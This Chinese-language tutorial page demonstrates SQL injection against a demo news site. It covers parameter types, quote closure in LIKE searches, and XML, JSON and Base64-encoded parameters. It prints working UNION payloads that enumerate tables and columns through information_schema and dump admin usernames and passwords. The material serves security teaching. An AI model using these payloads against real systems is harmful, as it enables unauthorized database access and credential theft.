当前位置: 首页 > ai >正文

Web攻防-SQL注入数据格式参数类型JSONXML编码加密符号闭合

知识点:
1、Web攻防-SQL注入-参数类型&参数格式
2、Web攻防-SQL注入-XML&JSON&BASE64等
3、Web攻防-SQL注入-数字字符搜索等符号绕过

案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XMLJSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。

一、演示案例-WEB攻防-SQL注入-参数类型&符号干扰

需要考虑闭合问题
在这里插入图片描述

数字

select * from news where id=$id; 

在这里插入图片描述
在这里插入图片描述

字符

select * from news where name='$name'; 

在这里插入图片描述
在这里插入图片描述

搜索

select * from news where name like '%name%';
符号干扰:有无单引号或双引号及通配符等

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

%' order by 3#

在这里插入图片描述

%' union select 1,2,3#

在这里插入图片描述
在这里插入图片描述
知道数据库名:news_db

获取数据库名下的表名信息:
借助自带的information_schema.tables表(记录所有数据库名下的表名)

1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#

在这里插入图片描述
admin表名下的列名
借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)

1%' union select 1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#

在这里插入图片描述
查询列名相关数据

1%' union select 1,username,password from admin#

在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-参数格式&参数编码

1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递
3、数据传递采用JSON又采用编码传递

XML

<?xml version="1.0" encoding="UTF-8"?>
<news><article><id>1</id><title>xiaodi</title><content>i am xiaodi</content><created_at>2025-03-07</created_at></article><article><id>2</id><title>xiaodisec</title><content>i am xiaodisec</content><created_at>2025-03-06</created_at></article>
</news>

在这里插入图片描述
在这里插入图片描述

JSON

{"news:"[
{"id": 1,"title": "xiaodi","content": "i am xiaodi","created_at": "2025-03-07"
},
{"id": 2,"title": "xiaodisec","content": "i am xiaodisec","created_at": "2025-03-06"
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Base64

{"news": [
{"id": "MQ==","title": "eGlhb2Rp","content": "aSBhbSB4aWFvZGk=","created_at": "MjAyNS0wMy0wNw=="
},
{"id": "Mg==","title": "eGlhb2Rpc2Vj","content": "aSBhbSB4aWFvZGlzZWM=","created_at": "MjAyNS0wMy0wNg=="
}]
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实例应用-编码注入案例

https://mp.weixin.qq.com/s/Xf08xaV-YcZsQopE19pPEQ

http://www.xdnf.cn/news/8904.html

相关文章:

  • Unity InputField 滑动滚轮 实现对文本的滚动
  • 手机发热怎么办?
  • Dify长期记忆插件: Mem0 与 Memobase
  • model.classifier:分类头
  • 【C/C++】记录一次麻烦的Kafka+Json体验
  • 互联网大厂Java求职面试:AI与大模型应用集成中的架构难题与解决方案-2
  • Go语言方法与接收者 -《Go语言实战指南》
  • 【数据结构】哈希表的实现
  • 【无标题】前端如何实现分页?
  • 数据结构第5章 树与二叉树(竟成)
  • 数据结构-查找(1)
  • 数据结构第4章 栈、队列和数组 (竟成)
  • Oracle 的V$LOCK 视图详解
  • 二十七、面向对象底层逻辑-SpringMVC九大组件之HandlerAdapter接口设计
  • 鸿蒙仓颉开发语言实战教程:自定义tabbar
  • 2025.5.26 关于后续更新内容的通知
  • 深入解析Kafka核心参数:buffer_memory、linger_ms与batch_size的优化之道
  • 机器学习多分类逻辑回归和二分类神经网络实践
  • [运维][服务器][lightsail] Nginx反向代理实现端口映射:将80端口转发至本地5000端口
  • 【运维】OpenWrt 中禁用 ZeroTier IPv6 配置指南
  • 【后端高阶面经:缓存篇】37、高并发系统缓存性能优化:从本地到分布式的全链路设计
  • 【数据结构】--二叉树--堆(上)
  • 【C++11】特性详解
  • UE 5 C++设置物体位置和旋转,初始化虚幻引擎样条线、加载引用虚幻编辑器中的蓝图、设置虚幻编辑器中Actor大小
  • [yolov11改进系列]基于yolov11替换卷积神经网CNN为KANConv的python源码+训练源码
  • AI 集成
  • Python应用运算符初解
  • Python笔记:windows下编译python3.8.20
  • Ecography投稿细节记录
  • 【C++】string的模拟实现